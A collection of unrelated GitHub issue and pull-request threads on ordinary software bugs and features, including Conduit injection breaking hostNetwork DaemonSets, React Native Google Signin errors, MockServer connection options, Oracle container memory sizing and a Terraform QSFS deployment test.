I'm raising this issue not because I want to deploy a DaemonSet with conduit injected in to and use hostNetwork. But I don't think it should effectively take down a cluster either. There has to be a way to protect from this. To replicate the issue deploy the manifest below.
This occurred in the following environment.
k8s 1.9.3
ubuntu 16.04
apiVersion: v1
kind: Service
metadata:
  annotations:
    prometheus.io/scrape: 'true'
  labels:
    app: node-exporter
    name: node-exporter
  name: node-exporter
spec:
  clusterIP: None
  ports:
  - name: scrape
    port: 9100
    protocol: TCP
  selector:
    app: node-exporter
  type: ClusterIP
---
apiVersion: extensions/v1beta1
kind: DaemonSet
metadata:
  name: node-exporter
spec:
  template:
    metadata:
      labels:
        app: node-exporter
      name: node-exporter
    spec:
      containers:
      - image: prom/node-exporter
        name: node-exporter
        ports:
        - containerPort: 9100
          hostPort: 9100 #comment these out for it to work
          name: scrape
      hostNetwork: true #comment these out for it to work
      hostPID: true
      tolerations:
        - effect: NoSchedule
          operator: Exists

Is this caused buy the init container rewriting the iptables rules for the entire host when hostNetwork: true?
I believe conduit inject needs to either ignore hostNetwork: true pods (with a warning to stderr?) or exit with an error message and non-zero exit code when a hostNetwork: true pod is used.
See https://github.com/istio/istio.github.io/issues/655.
/cc @pcalcado

Also, are we really intending to inject into deamonsets by default? We have code that appears to do so, but I don't know that we actually intend to do that. I don't think the UI is expecting injections into non-pod objects, at least. For example, the UI doesn't discern the type of object and might even group a pod and a deamonset with the same name together or do other bad things. I think we should restrict injection to pods exclusively and file a follow-up issue about spec'ing what, if anything, to do about deamonsets.

Wow, @jpweber, nice find!

@briansmith

are we really intending to inject into deamonsets by default?

the UI doesn't discern the type of object and might even group a pod and a deamonset with the same name together or do other bad things

This isn't how I understand daemonsets -- daemonsets are like replicacontrollers or deployments, essentially, in that they are a parent resource that creates pods.  So I think daemonsets are very much analogous to what we refer to as "deployments" in the UI at the moment.
There's no reason that I'm aware of that we wouldn't want to support injecting daemonsets.
However, it seems we absolutely must avoid adding proxy-init into any resource that has hostNetwork: true.

@olix0r should we try to get a fix in for 0.3? "conduit inject may effectively take down a cluster" is a pretty big caveat for a release.

@jpweber We'll fix this for 0.3, scheduled for next week.


Use popovers for screenshots

It would be a lot easier to preview many items if the eye button opened a popover, which is dismissed more easily than a custom HUD-style window, as is currently used.
It would be even better if the up/down arrow keys would cycle between the previews in the list once the popover was shown.
For an item that has no screenshot, perhaps it could use a webview to show the linked site with a URL at the bottom to open it in Safari.
I volunteer to implement this, if deemed a worthwhile change.

---
Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/3745363-use-popovers-for-screenshots?utm_campaign=plugin&utm_content=tracker%2F282297&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F282297&utm_medium=issues&utm_source=github).

The previews are now inline in master


Native module RNGoogleSignin tried to override RNGoogleSigninModule error

I am trying to build authentication with Google in my React-Native app. Whenever I run the app it displays this error saying that there is a duplicate but in fact, there is no duplicate.
Steps to Reproduce

Create a new RN project
Download react-native-google-signin library
Follow the steps to configure it in Android app.
Run app.

Expected Behavior

It should run normally without errors and displays Google Login.
Actual Behavior

Environment

- react-native 0.60.4
- react-native-google-signin 2.0.0

buildToolsVersion = "28.0.3"
       minSdkVersion = 16
       compileSdkVersion = 28
       targetSdkVersion = 28
       supportLibVersion = "28.0.0"
       googlePlayServicesAuthVersion = "17.0.0"

  classpath('com.android.tools.build:gradle:3.5.0')
  classpath 'com.google.gms:google-services:4.2.0'

dependencies {
    implementation project(':react-native-google-signin')
    implementation project(':react-native-gesture-handler')
    implementation project(':react-native-reanimated')
    implementation fileTree(dir: "libs", include: ["*.jar"])
    implementation "com.facebook.react:react-native:+"  // From node_modules
   // implementation 'com.google.firebase:firebase-core:17.0.1'
   // implementation 'com.google.firebase:firebase-database:18.0.1'
    implementation project(':react-native-firebase')

    // Add the Firebase SDK for Google Analytics
    implementation 'com.google.firebase:firebase-analytics:17.0.1'

    // Add the SDKs for any other Firebase products you want to use in your app
    // For example, to use Firebase Authentication and Cloud Firestore
    implementation 'com.google.firebase:firebase-auth:18.1.0'
    implementation 'com.google.firebase:firebase-firestore:20.2.0'

    if (enableHermes) {
      def hermesPath = "../../node_modules/hermesvm/android/";
      debugImplementation files(hermesPath + "hermes-debug.aar")
      releaseImplementation files(hermesPath + "hermes-release.aar")
    } else {
      implementation jscFlavor
    }
}

 ```

packages.add( new RNFirebaseFirestorePackage());
packages.add(new RNFirebaseAuthPackage());
packages.add(new RNGoogleSigninPackage());

remove packages.add(new RNGoogleSigninPackage());, that will work.

hello, thanks for reporting. remove packages.add(new RNGoogleSigninPackage());, that will work.

Does authentication work without it?

hello, thanks for reporting. remove packages.add(new RNGoogleSigninPackage());, that will work.

check the official repo, it clearly states that we must insert that line in there. Please read through first before hurrying into conclusions.

Is removing packages.add(new RNGoogleSigninPackage()); solved the problem ?

Is removing packages.add(new RNGoogleSigninPackage()); solved the problem ?

I am sorry, why would I do that? I need that package obviously!

@bimix as the error message suggests, the module is very likely being created twice.
If packages.add(new RNGoogleSigninPackage()); is present only once in MainApplication.java, it is probably added one more time through autolinking. And so you don't need the original call.

@bimix as the error message suggests, the module is very likely being created twice.
If packages.add(new RNGoogleSigninPackage()); is present only once in MainApplication.java, it is probably added one more time through autolinking. And so you don't need the original call.

if its there through auto-linking, where is it then?

Adding packages.add(new RNGoogleSigninPackage()); I got RNGoogleSignin tried to override RNGoogleSigninModule but when i remove packages.add(new RNGoogleSigninPackage()); my application build successfully but when I click login and selected google user on the list it return Please try again.TypeError: Cannot read property of undefined.

For future readers, if you run into similar error, please open a new issue and follow the issue template. Thanks.


New features: Allow disabling keep-alive and suppressing Connection and Content-Length headers

I'm currently writing some specialized BrowserMob Proxy and LittleProxy tests, and I'd like to be able to test the proxies' behavior when the upstream server closes the connection to indicate the end of an HTTP message. This behavior is allowed by the HTTP spec, section 4.4:

When a message-body is included with a message, the transfer-length of that body is determined by one of the following (in order of precedence):
[...]
5.By the server closing the connection.

Currently MockServer doesn't allow you to force the server to close the connection when the message has finished sending, unless the client includes a Connection: close header in the request. Keep-alive is sensible and expected default behavior, but in keeping with the "sensible defaults, powerful options" philosophy, I'd like to propose adding the ability to force the server to close the connection.
In the same vein, MockServer automatically adds the Connection header and Content-Length headers (again, very sensible default behavior), but it would be very nice to be able to force the server to not add those headers, as allowed by the spec.
So I'd like to propose adding these features to MockServer. My best idea so far is to add new methods to HttpResponse that can be set when creating the expectations:

withKeepAlive(boolean) -- default to true, but when false, MockServer closes the connection
withSuppressConnectionHeader(boolean) -- default to false, when true do not add the Connection header in MockServerHandler.
withSuppressContentLengthHeader(boolean) -- default to false, when true do not add the ContentLength header in MockServerHandler.

I'm open to any other alternatives, though. Does this sound reasonable? @jamesdbloom, if you are open to this and can give some feedback, I'll put together a PR.

This sounds like a good idea, I was already planning on doing something very similar so I have commited a working solution.

I covered all the features you mentioned I also added control of whether the socket is closed or not and what value to use for the Content-Length header (in addition to suppression of Connnect, Content-Length and what value the Connect header should be).

Wow, this is fantastic! Thanks @jamesdbloom!


2 bugs to test

BUG #1
Description : Requesting Ether from the faucet ( https://www.rinkeby.io/#faucet) doesn't work. I see my etherwallet added to the list of wallets but I didn't receive anything.
To reproduce :

Go to twitter and create a tweet including your ether wallet address.
Paste the tweet link in the Rinkeby Authenticated Faucet and request any amount of ether.
Check your etherwallet with Metamask and notice on the Rinkeby Test Network that you received no ETH, with no option to ask for more ETH until the next allowance period.

Expected behaviour :
Some ETH was supposed to be received in my wallet on the Rinkeby Test Network.

Desktop:

Windows 10 Home
Chrome
Version 87.0.4280.88 (Official Build) (64-bit)

Wallet address :
0xbad979702A09841A7672FB6E3C12c3368DFF2A19

Bug #2
Description : Pressing Join on the Test token pool ID 18 causes the page to become completely go blank with no option to go back to the previous page.
To reproduce :

Go to the https://app.poolz.finance/dashboard page and connect your ether wallet while making sure you have the Kinkeby Test Network selected in your wallet
Press the green button on the TestToken pool with 18 as the ID.
Notice completely blank page.

Expected behaviour :
A message with a warning should pop up and ask for confirmation.

Desktop:

Windows 10 Home
Chrome
Version 87.0.4280.88 (Official Build) (64-bit)

Wallet address :
0xbad979702A09841A7672FB6E3C12c3368DFF2A19

The first problem is the Rinkeby bug, its looks like it fixed now.
The second part, it's a true bug, will be fixed soon,
Thanks for the report.

The first problem is the Rinkeby bug, its looks like it fixed now.
The second part, it's a true bug, will be fixed soon,
Thanks for the report.


How does it represent temperature?

Thank you very much for your contribution in the SNN field.
When I am researching SNNTORCH to predict temperature, how should I represent the predicted temperature?
Thank you very much!

I assume you want to predict temperature? It is a real number, so you should check out the regression tutorials on the website! Does this help?


DNN library is not found

When running the code for training using pytorch, I am getting this error. I am refering to the code in the Kaggle notebook
Node: 'residual_unet/conv2d/Conv2D'
DNN library is not found.
[[{{node residual_unet/conv2d/Conv2D}}]] [Op:__inference_predict_function_9480]
Any hints on what direction to take to proceed further?
python version 3.8
tensorflow: 2.8.0
cuDNN: 8.1.1
cuda: 11.2

Resolved:
Tensorflow was pointing to a different version of cudnn. The following article helped me resolve the issue
https://macjim.medium.com/loading-alternative-cudnn-library-versions-in-tensorflow-90c7472e361a


Dark mode

Closes #310
Description
Implement dark mode for the developer site. Adds the color palette and updates existing usage of colors to work with an abstracted set of values.
Screenshot(s)

Default body text is too light. Try #a5bbbd instead.
Before:

After:

The icon for dark mode needs to be consistent with the open source site.

To stay consistent with the open source site, should we move the dark mode toggle to the far right in the nav?

Looks like pre tags need some dark mode love (example: http://localhost:8000/components/platform-state-context)

It seems like the background "stripe" color is different b/t the os & dev sites. This may affect the color of the "featured boxes" in the middle of the page.

Given that NR1 components don't support dark mode, we shouldn't show example components on a background that changes with the dark mode toggle. Style the containing elements to always have a light background, similar to what they'd have in NR1 proper.

Confirm the primary button cta color between OS & Dev

Another thing to note is that we are using a different code theme than the OSS site. We should unify with that theme.

The code snippets under the prop lists aren't contrasty enough. A shade or two lighter should do the trick.

Style the containing elements to always have a light background, similar to what they'd have in NR1 proper.

Do you think this should be as simple as a light gray box in light mode and the same in dark mode? We don't really have a container around the components right now, but I think that would help the situation possibly. I think the trick is making it look right in dark mode so that its apparent that the background behind them is intentional.

@jerelmiller Yep! The exact color doesn't matter as much as it being consistent between modes (to emphasize the dark-on-light look these components will have in-product)

Is it possible to theme the icons? They have a great hover state in light mode, but it all kind of falls apart in dark mode.

Ooops, the icon gallery was an oversight. Good catch!

The prop list deprecation notices don't have dark mode styling. Suggest light text on a dark red background.

The callouts also lack a light-on-dark dark mode theme.

Hamburger needs dark mode styling

@djsauble Fixed with 6ea0fab

You're right. Good catch. I need to do a bit of research to determine how to avoid this scenario. I suspect its because this page is "server rendered", with no access to local storage or media queries.

I also noticed that the sidebar then expands all the way when refreshing

This bug is logged in #340 and outside the scope of this PR since its an existing bug.


Any plans for clickevent on each word?

Hi,
Do you have any plan to update library so that it has click listener for each word ?
Thanks.

Hi @hashmat123
Maybe with next versions.
Thanks

I did implement click events.
But I see the words are displayed with some time lag. Is it possible to
enhance the time to display?
Thanks.
On 3 Aug 2017 04:28, "Abdullah Alhazmy"<EMAIL_ADDRESS>wrote:

Hi @hashmat123 https://github.com/hashmat123
Maybe with next versions.
Thanks
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/alhazmy13/AndroidWordCloud/issues/5#issuecomment-319773533,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFfF-9-9lWuh5UCdcnPE7WFYKBvSBkTAks5sUM2-gaJpZM4Od5Ot
.


provide Parallel() to run test parallel

PTAL @iamxy

LGTM

LGTM

3 years later, I find out that c.Parallel() don't take effort finally.


PR (RO 2392/2393) Clean up and comment code

formatted code with Prettier
added comments
moved model file to models folder

Lukker denne. Lager ny PR.


fix: error handling

Fixes error handling when error shape does not correspond to what is defined in the API.
When data.error does not exist the following error is thrown:
TypeError: Cannot read property '0' of undefined

fix: npm audit
fix: error access error

Codecov Report

Merging #138 (af4d103) into master (ae2a3f5) will not change coverage.
The diff coverage is 0.00%.

@@           Coverage Diff           @@
##           master     #138   +/-   ##
=======================================
  Coverage   56.46%   56.46%
=======================================
  Files          50       50
  Lines         441      441
  Branches       21       22    +1
=======================================
  Hits          249      249
  Misses        192      192

Impacted Files
Coverage Δ

src/helpers/api-error-factory.ts
10.00% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ae2a3f5...af4d103. Read the comment docs.


CXF-7708 Options mark-generated and suppress-generated-date don't effect on generating Java classes

@typekpb fyi

Well, I've noticed that with the latest version of cxf it didn't work. So
would be very thankful for the fix.
On Fri, Apr 13, 2018, 18:14 Dennis Kieselhorst<EMAIL_ADDRESS>wrote:

@typekpb https://github.com/typekpb fyi
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/apache/cxf/pull/405#issuecomment-381185833, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAegbJjt7VllEI8U_KMnh8Xr2-GbAvFiks5toM7hgaJpZM4TTnt9
.

Hmm I wonder why does the unittest not fail? If this is a different case, could you please add one for it so that we are covered in future?

Ok, would it be possible for one of you to add a unit test, please?

Yes, working on it for codegen plugin, but looks like no enforce plugin configured for build and integration test fails don't broke build pipeline. Also it contains jdk6 test which is always fails and i don't know is it actual or not.

I think the jdk6 testcase is no longer valid for 3.2.x but we should probably have one for toolchains. I try to modify it and switch the invoker-plugin to break the build afterwards...

Ok the build now fails but I had to disable the toolchain test due to CXF-7714.

@deki , i've added it and fix current build process. Please review.


Drop support for python 3.8

Description
Kedro itself just dropped support for python 3.8 (https://github.com/kedro-org/kedro/pull/4212) as it has reached EOL since 2024-10-07 (https://devguide.python.org/versions/). This is breaking a couple of CI jobs that install kedro from HEAD, affecting kedro-airflow, kedro-docker and kedro-telemetry.
Example CI failure: https://github.com/kedro-org/kedro-plugins/actions/runs/11235726053/job/31234293125?pr=870#step:8:3
Context
Since python 3.8 has reached EOL and was dropped by kedro itself, it should probably be dropped by the corresponding plugins as well.
Possible Implementation
I would be happy to submit a PR similar to #870 which removes python 3.8 from CI and updates the syntax where necessary.

@felixscherz Free feel to go ahead and do so. Please drop one plugin at a time instead of dropping all plugins at the same time. kedro-datasets have dropped 3.8 for a while, so I think it's just kedro-docker, kedro-airflow and kedro-telemetry.

Hi, I created the respective PRs. However, none of the CI will succeed since I only updated a single plugin per PR, meaning the other two still create CI failures when run.

Yeah, I think it might need to be done all together @felixscherz @noklam

I worked around it by removing Python 3.8 from github actions for all the plugins in each PR, the one CI issue left now is one regarding the docs for kedro-datasets where a link to the matplotlib documentation returns 403, could this be due to too many requests during CI runs? The link works fine from my browser. See: https://github.com/kedro-org/kedro-plugins/actions/runs/11268849549/job/31336335427

i'll re-trigger the tests

Completed by #876 #877 and #878


updated libraries

Updated libraries, solution builds properly

It need to target Android 8 to work. Did you check if the samples are still working?

Yeah samples still worked as before.. Only horizontal scroll works, vertical still no good

Did you check the code to see if anything causes this bug?

Yeah, I tried to find something, but haven't found anything... still trying to figure it out, but since it's your code, maybe you could find it faster than me

@martijn00 Have you managed to find the bug??

@martijn00 I noticed that When I try to drag an item I get notified by this message "Start drag has been called but swiping is not enabled". But also I noticed that in RecyclerListAdapter class the overriden OnItemMove method is never called!

I finally made it work... In SimpleItemTouchHelperCallback class I made variable swipeEnabled = false. Now I can drag and drop normally! Of course in my case I don't need swiping so maybe you could update your nuget with possibility to turn on/off swiping or dragging??

Can you make a fix to add that?

Sorry.. after I posted last comment I saw that you actually can turn on/off drag or swipe.. so it's all good, but the problem is that when both are on you can't drag..


Detach on failed fs mount. CAS-429

To stage a file system volume we first attach the nexus,
then do a file system mount.
Now if the file system mount fails, detach the nexus.

Well spotted. I fixed by adding a check for access type before performing any operations. Better to check and not to do, then undo.

Doh, rebased on master!


configsettings.properties not updated for hidden menu / manage indexes

[Build] 16.1 fix4+ 16.01.2017 (reset index branch)
[Steps to reproduce]

check configsettings.properties for hiding tenant menus

[Expected result]
It is possible to hide menu
operator.manageIndexes
via config settings (menu is listed)
[Observed result]
The menus are not added to "#" items in configsettings.properties

added missing entry to doc in configsettingKeys

[Build] 16.1 fix 6 2017/02/17
reopen because similar issues e.g. "manage tenants" menu is not listed either.

Fixed with f7e9501e21c101a2c1973c04c87e3b351b471d2a

Windows Server 2016, jdk1.8u131, build BES_MASTER_UNIT-1897 2017/07/26 in SAML mode.
The values "operator.manageIndexes" and "operator.manageTenants" are added to "#" items.

Retested on Windows Server 2016, jdk1.8u131, build BES_MASTER_UNIT-1904 2017/07/27 (official 17.3.0) in SAML mode.
The values "operator.manageIndexes" and "operator.manageTenants" are added to "#" items.


Use rounded close time in Consensus (RIPD-1528)

Switches the default behavior of Consensus to use roundCloseTime instead of effCloseTime. effCloseTime is still used when accepting the consensus ledger to ensure the consensus close time comes after the parent ledger close time. This change eliminates an edge case in which peers could reach agreement on the close time, but end up generating ledgers with different close times.

Codecov Report

Merging #2221 into develop will decrease coverage by <.01%.
The diff coverage is 92.3%.

@@             Coverage Diff             @@
##           develop    #2221      +/-   ##
===========================================
- Coverage    70.07%   70.06%   -0.01%
===========================================
  Files          689      689
  Lines        50730    50732       +2
===========================================
- Hits         35548    35545       -3
- Misses       15182    15187       +5

Impacted Files
Coverage Δ

src/ripple/protocol/Feature.h
100% <ø> (ø)
:arrow_up:

src/ripple/app/main/Amendments.cpp
100% <ø> (ø)
:arrow_up:

src/ripple/consensus/ConsensusParms.h
100% <ø> (ø)
:arrow_up:

src/ripple/consensus/Consensus.h
89.08% <100%> (-0.03%)
:arrow_down:

src/ripple/protocol/impl/Feature.cpp
94.64% <100%> (+0.09%)
:arrow_up:

src/ripple/app/consensus/RCLConsensus.cpp
64.53% <50%> (-0.08%)
:arrow_down:

src/ripple/app/ledger/PendingSaves.h
93.54% <0%> (-6.46%)
:arrow_down:

src/ripple/app/ledger/impl/LedgerMaster.cpp
46.41% <0%> (-0.23%)
:arrow_down:

src/ripple/app/main/Application.cpp
60.37% <0%> (-0.12%)
:arrow_down:

src/ripple/server/impl/BaseWSPeer.h
71.15% <0%> (+0.64%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fc64050...36d9362. Read the comment docs.

Merged as c76656cf7f02d8d848c31b96ec3dc9de3727aaaa


add code to update iba for 5.0

It looks like tests are blocked for 5.0 by some of the legacy-style version constraints.
for example, here.
It looks like that constraint is no longer appropriate here, and we need to purge 'em from the codebase anyway. They should be replaced with new style per-feature constraints which disregard pre-release labels as appropriate. And please kill this stray newline while you're in there.

That constraint has been reappropriated so that  iba dashboards in this
version of sdk will not work with lower versions of apstra
On Thu, Oct 31, 2024, 7:59 AM chrismarget-j @.***>
wrote:

It looks like tests are blocked for 5.0 by some of the legacy-style
version constraints
https://github.com/Juniper/apstra-go-sdk/blob/f70089f97cfcc04414289db7a99d70ba045cb82a/apstra/compatibility/compatibility.go#L20C74-L24C74
.
for example, here
https://github.com/Juniper/apstra-go-sdk/blob/f70089f97cfcc04414289db7a99d70ba045cb82a/apstra/two_stage_l3_clos_client.go#L822C1-L824C3
.
It looks like that constraint is no longer appropriate here, and we need
to purge 'em from the codebase anyway. They should be replaced with new
style per-feature constraints which disregard pre-release labels as
appropriate. And please kill this stray newline
https://github.com/Juniper/apstra-go-sdk/blob/f70089f97cfcc04414289db7a99d70ba045cb82a/apstra/compatibility/constraints.go#L26
while you're in there.
—
Reply to this email directly, view it on GitHub
https://github.com/Juniper/apstra-go-sdk/pull/453#issuecomment-2449679593,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AARW4W6WWPHDABQDAYNREUTZ6ILTVAVCNFSM6AAAAABQ5RGOK6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDINBZGY3TSNJZGM
.
You are receiving this because you authored the thread.Message ID:
@.***>

It looks like tests are blocked for 5.0 by some of the legacy-style version constraints.
for example, here.
It looks like that constraint is no longer appropriate here, and we need to purge 'em from the codebase anyway. They should be replaced with new style per-feature constraints which disregard pre-release labels as appropriate. And please kill this stray newline while you're in there.

These are fixed in the latest commit.


Oracle DBCA fails in new Kubernetes environment

After successfully deploying my container in OpenShift 3.11 and k3s rancher, a new deployment in a newly created OpenShift 4.8 environment failed during the database creation, shortly after the RMAN restore from backup step.
After research, I found that although I had specified 8G of RAM for the container memory resource, the DBCA had calculated an sga target of 19G, so the kernel was sending a SIGKILL to my java process running dbca. It appears that the memory query is getting the size of the host vice the container, hence the larger memory calculation.
In prior deployments, the number of cores was less than 8, and the logic in createDB.sh was different. In this new environment, the number of cores was 16.
The workaround I used was to define the INIT_SGA_SIZE and INIT_PGA_SIZE environment variables explicitly.

@jameshcovington Can you please attach the command you are running along with container logs for further investigation ??

The command is runOracle.sh, the cfgtoollogs are attached
cfgtoollogs.zip
.

@jameshcovington Can you please attach how you are specifying 8 GB memory to the container ??

specified in the deployConfig, here is a snippet:
spec:
containers:
- name: oracle
image: "oracle:latest"
imagePullPolicy: IfNotPresent
ports:
- containerPort: 1521
protocol: TCP
- containerPort: 5500
protocol: TCP
command: ["/bin/bash"]
args: ["-c", "set -x; /opt/oracle/runOracle.sh"]
resources:
limits:
memory: 8Gi
requests:
memory: 8Gi

@jameshcovington As I can see in the OpenShift documentation, these resource limits do not restrict the memory allocated to the container. If the node has more memory available, the container will use that. Please see section 14.4..4 of the page.
It states the following:
By default, a container is able to consume as much memory on the node as possible. In order to improve placement of pods in the cluster, specify the amount of memory required for a container to run. The scheduler will then take available node memory capacity into account prior to binding your pod to a node. A container is still able to consume as much memory on the node as possible even when specifying a request.
This is the reason that DBCA is calculating larger memory. You can disable this behaviour in the following two ways:

Using INIT_SGA_SIZE and INIT_PGA_SIZE env vars,
Using AUTO_MEM_CALCULATION env var after setting it to false.

The advantage of the first method is that you can customize the total DB memory (SGA mem + PGA mem). But, in the second case total database memory will be fixed to 2GB only.
You can also use quotas to limit the container memory in the OpenShift environment.
Hope this helps ! Please let us know in case you face any further issues. If the issue is resolved please close the issue. Thanks.


Updating fonts to 924 available icons

I have updated the icon list from 369 icons to 924 icons.

nicely done!


PP-5300 Introduce Direct Debit Specific GET Payments Endpoint

Migrates logic for Get Payments endpoint for Direct Debit payments
Changes return type to match DD Payments information

@stephencdaly Made the changes


Upgraded to NS 3.0

Resolves #4

Tested that on demo-ng only

Hey @Buuhuu , thanks for this work! Actually I've already started the conversion in the core3 branch. I've got android working but on iOS for some reason it does not work as expected. Have you tested your changes for iOS? Also on two places I see you divide the measured width by 3, can you explain this "magic number"? May be this is the device's pixel density?

Exactly. With the most recent commit i replaced that with screen.mainScreen.scale. This is working for both iOS and Android for me.

Hey @Buuhuu , I've migrated your changes and merged the TNS 3.0 version to master. Big thanks for your help on resolving the iOS problems! The rest were more or less the same as what I had in the core3 branch 👍

@buuhuu thanks for this great PR! Can I send a t-shirt your way as a token of our appreciation? You can DM me on Comm Slack


QSFS: Deploying a VM with more than 2 qsfs

According to REQ196 & REQ198 it should not be possible to deploy a VM with more than 2 qsfs. However i was able to deploy a VM with 3 qsfs and it didn't produce an error.

main.tf

terraform {
  required_providers {
    grid = {
      source = "threefoldtech/grid"
    }
  }
}

provider "grid" {
}

locals {
  metas = ["meta1", "meta2", "meta3", "meta4"]
  datas = ["data1", "data2", "data3", "data4",
  "data5", "data6", "data7", "data8",
  "data9", "data10", "data11", "data12",
  "data13", "data14", "data15", "data16",
  "data17", "data18", "data19", "data20",
  "data21", "data22", "data23", "data24"]
}

resource "grid_network" "net1" {
    nodes = [7]
    ip_range = "<IP_ADDRESS>/16"
    name = "network"
    description = "newer network"
}

resource "grid_deployment" "d1" {
    node = 7
    dynamic "zdbs" {
        for_each = local.metas
        content {
            name = zdbs.value
            description = "description"
            password = "password"
            size = 10
            mode = "user"
        }
    }
    dynamic "zdbs" {
        for_each = local.datas
        content {
            name = zdbs.value
            description = "description"
            password = "password"
            size = 1
            mode = "seq"
        }
    }
}

resource "grid_deployment" "qsfs" {
  node = 7
  network_name = grid_network.net1.name
  ip_range = lookup(grid_network.net1.nodes_ip_range, 7, "")
  qsfs {
    name = "qsfs"
    description = "description6"
    cache = 10240 # 10 GB
    minimal_shards = 16
    expected_shards = 20
    redundant_groups = 0
    redundant_nodes = 0
    max_zdb_data_dir_size = 512 # 512 MB
    encryption_algorithm = "AES"
    encryption_key = "4d778ba3216e4da4231540c92a55f06157cabba802f9b68fb0f78375d2e825af"
    compression_algorithm = "snappy"
    metadata {
      type = "zdb"
      prefix = "hamada"
      encryption_algorithm = "AES"
      encryption_key = "4d778ba3216e4da4231540c92a55f06157cabba802f9b68fb0f78375d2e825af"
      dynamic "backends" {
          for_each = [for zdb in grid_deployment.d1.zdbs : zdb if zdb.mode != "seq"]
          content {
              address = format("[%s]:%d", backends.value.ips[1], backends.value.port)
              namespace = backends.value.namespace
              password = backends.value.password
          }
      }
    }
    groups {
      dynamic "backends" {
          for_each = [for zdb in grid_deployment.d1.zdbs : zdb if zdb.mode == "seq"]
          content {
              address = format("[%s]:%d", backends.value.ips[1], backends.value.port)
              namespace = backends.value.namespace
              password = backends.value.password
          }
      }
    }
  }

  qsfs {
    name = "qsfs2"
    description = "description61"
    cache = 10240 # 10 GB
    minimal_shards = 16
    expected_shards = 20
    redundant_groups = 0
    redundant_nodes = 0
    max_zdb_data_dir_size = 512 # 512 MB
    encryption_algorithm = "AES"
    encryption_key = "4d778ba3216e4da4231540c92a55f06157cabba802f9b68fb0f78375d2e825af"
    compression_algorithm = "snappy"
    metadata {
      type = "zdb"
      prefix = "hamada"
      encryption_algorithm = "AES"
      encryption_key = "4d778ba3216e4da4231540c92a55f06157cabba802f9b68fb0f78375d2e825af"
      dynamic "backends" {
          for_each = [for zdb in grid_deployment.d1.zdbs : zdb if zdb.mode != "seq"]
          content {
              address = format("[%s]:%d", backends.value.ips[1], backends.value.port)
              namespace = backends.value.namespace
              password = backends.value.password
          }
      }
    }
    groups {
      dynamic "backends" {
          for_each = [for zdb in grid_deployment.d1.zdbs : zdb if zdb.mode == "seq"]
          content {
              address = format("[%s]:%d", backends.value.ips[1], backends.value.port)
              namespace = backends.value.namespace
              password = backends.value.password
          }
      }
    }
  }

  qsfs {
    name = "qsfs3"
    description = "description61"
    cache = 10240 # 10 GB
    minimal_shards = 16
    expected_shards = 20
    redundant_groups = 0
    redundant_nodes = 0
    max_zdb_data_dir_size = 512 # 512 MB
    encryption_algorithm = "AES"
    encryption_key = "4d778ba3216e4da4231540c92a55f06157cabba802f9b68fb0f78375d2e825af"
    compression_algorithm = "snappy"
    metadata {
      type = "zdb"
      prefix = "hamada"
      encryption_algorithm = "AES"
      encryption_key = "4d778ba3216e4da4231540c92a55f06157cabba802f9b68fb0f78375d2e825af"
      dynamic "backends" {
          for_each = [for zdb in grid_deployment.d1.zdbs : zdb if zdb.mode != "seq"]
          content {
              address = format("[%s]:%d", backends.value.ips[1], backends.value.port)
              namespace = backends.value.namespace
              password = backends.value.password
          }
      }
    }
    groups {
      dynamic "backends" {
          for_each = [for zdb in grid_deployment.d1.zdbs : zdb if zdb.mode == "seq"]
          content {
              address = format("[%s]:%d", backends.value.ips[1], backends.value.port)
              namespace = backends.value.namespace
              password = backends.value.password
          }
      }
    }
  }

  vms {
    name = "vm"
    flist = "https://hub.grid.tf/tf-official-apps/threefoldtech-ubuntu-20.04.flist"
    cpu = 2
    memory = 1024
    entrypoint = "/init.sh"
    planetary = true
    env_vars = {
      SSH_KEY = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC533B35CELELtgg2d7Tsi5KelLxR0FYUlrcTmRRQuTNP9arP01JYD8iHKqh6naMbbzR8+M0gdPEeRK4oVqQtEcH1C47vLyRI/4DqahAE2nTW08wtJM5uiIvcQ9H2HMzZ3MXYWWlgyHMgW2QXQxzrRS0NXvsY+4wxe97MMZs9MDs+d+X15DfG6JffjMHydi+4tHB50WmHe5tFscBFxLbgDBUxNGiwi3BQc1nWIuYwMMV1GFwT3ndyLAp19KPkEa/dffiqLdzkgs2qpXtfBhTZ/lFeQRc60DHCMWExr9ySDbavIMuBFylf/ZQeJXm9dFXJN7bBTbflZIIuUMjmrI7cU5eSuZqAj5l+Yb1mLN8ljmKSIM3/tkKbzXNH5AUtRVKTn+aEPvJAEYtserAxAP5pjy6nmegn0UerEE3DWEV2kqDig3aPSNhi9WSCykvG2tz7DIr0UP6qEIWYMC/5OisnSGj8w8dAjyxS9B0Jlx7DEmqPDNBqp8UcwV75Cot8vtIac= root@mohamed-Inspiron-3576"
    }
    mounts {
        disk_name = "qsfs"
        mount_point = "/qsfs"
    }
    mounts {
        disk_name = "qsfs2"
        mount_point = "/qsfs2"
    }
    mounts {
        disk_name = "qsfs3"
        mount_point = "/qsfs3"
    }
  }
}
output "metrics" {
    value = grid_deployment.qsfs.qsfs[0].metrics_endpoint
}
output "ygg_ip" {
    value = grid_deployment.qsfs.vms[0].ygg_ip
}

TestLodge updated.
The mentioned invalid requirements were removed with their corresponding test cases. and they are backed up if needed in the future.


Unable to show existing files with nview command

Workflow version
v2024.2
Alfred version
5.5 (2257)
macOS version
Sonoma 14.4
Debugger output
[23:04:10.314] Logging Started...
[23:04:20.847] Note Taker[Keyword] Processing complete
[23:04:20.854] Note Taker[Keyword] Passing output '' to JSON Config
[23:04:20.855] Note Taker[JSON Config] Processing complete
[23:04:20.857] Note Taker[JSON Config] Passing output '' to File Filter

More details
After initial response from nview, file searching inside is not working. Not even with *
I have the below files (file creation is succesful ). Only sin I have done by keeping the folder inside gdrive (always available offline). Thank you

Use the bult-in troubleshooting on one of those file and post the output here.
